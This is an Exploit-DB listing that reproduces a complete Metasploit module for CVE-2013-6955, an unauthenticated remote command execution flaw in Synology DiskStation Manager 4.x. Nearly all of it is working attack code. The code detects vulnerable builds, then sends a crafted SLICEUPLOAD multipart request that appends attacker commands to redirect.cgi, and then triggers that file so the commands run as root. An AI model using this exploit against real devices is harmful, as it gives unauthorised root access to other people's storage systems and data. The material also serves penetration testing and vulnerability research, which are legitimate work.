Synology DiskStation Manager - SLICEUPLOAD Remote Command Execution



EDB-ID: 30470 CVE: 2013-6955 OSVDB-ID: 101247
Author: metasploit Published: 2013-12-24 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
        versions 4.x, which allows the execution of arbitrary commands under root
        privileges.
        The vulnerability is located in /webman/imageSelector.cgi, which allows to append
        arbitrary data to a given file using a so called SLICEUPLOAD functionality, which
        can be triggered by an unauthenticated user with a specially crafted HTTP request.
        This is exploited by this module to append the given commands to /redirect.cgi,
        which is a regular shell script file, and can be invoked with another HTTP request.
        Synology reported that the vulnerability has been fixed with versions 4.0-2259,
        4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
      },
      'Author'         =>
        [
          'Markus Wulftange' # Discovery, Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-6955' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 0x31337,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Oct 31 2013'
    ))

    register_options(
      [
        Opt::RPORT(5000)
      ], self.class)
  end

  def check
    print_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri('webman', 'info.cgi'),
      'vars_get' => { 'host' => ''}
    })

    if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
      version = "#{$~[:major]}.#{$~[:minor]}"
      build = $~[:build]
      model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      print_status("#{peer} - Detection failed")
      return Exploit::CheckCode::Unknown
    end

    print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")

    case version
    when '4.0'
      return Exploit::CheckCode::Vulnerable if build < '2259'
    when '4.1'
      return Exploit::CheckCode::Vulnerable
    when '4.2'
      return Exploit::CheckCode::Vulnerable if build < '3243'
    when '4.3'
      return Exploit::CheckCode::Vulnerable if build < '3810'
      return Exploit::CheckCode::Detected if build == '3810'
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    cmds = [
      # sed is used to restore the redirect.cgi
      "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
      payload.encoded
    ].join("\n")

    mime_msg = Rex::MIME::Message.new
    mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
    mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')

    # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
    # so we use a placeholder and replace it later
    cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
    mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
                      'form-data; name="foo"; filename="bar"')

    post_body = mime_msg.to_s
    post_body.strip!
    post_body.sub!(cmd_placeholder, cmds)

    # fix multipart encoding
    post_body.gsub!(/\r\n(--#{mime_msg.bound})/, '  \\1')

    # send request to append shell commands
    print_status("#{peer} - Injecting the payload...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri('webman', 'imageSelector.cgi'),
      'ctype'   => "multipart/form-data; boundary=#{mime_msg.bound}",
      'headers' => {
        'X-TYPE-NAME' => 'SLICEUPLOAD',
        'X-TMP-FILE'  => '/usr/syno/synoman/redirect.cgi'
      },
      'data'    => post_body
    })

    unless res and res.code == 200 and res.body.include?('error_noprivilege')
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
    end

    # send request to invoke the injected shell commands
    print_status("#{peer} - Executing the payload...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri('redirect.cgi'),
    })

    # Read command output if cmd/unix/generic payload was used
    if datastore['CMD']
      unless res and res.code == 200
        fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
      end

      print_good("#{peer} - Command successfully executed")
      print_line(res.body)
    end
  end
end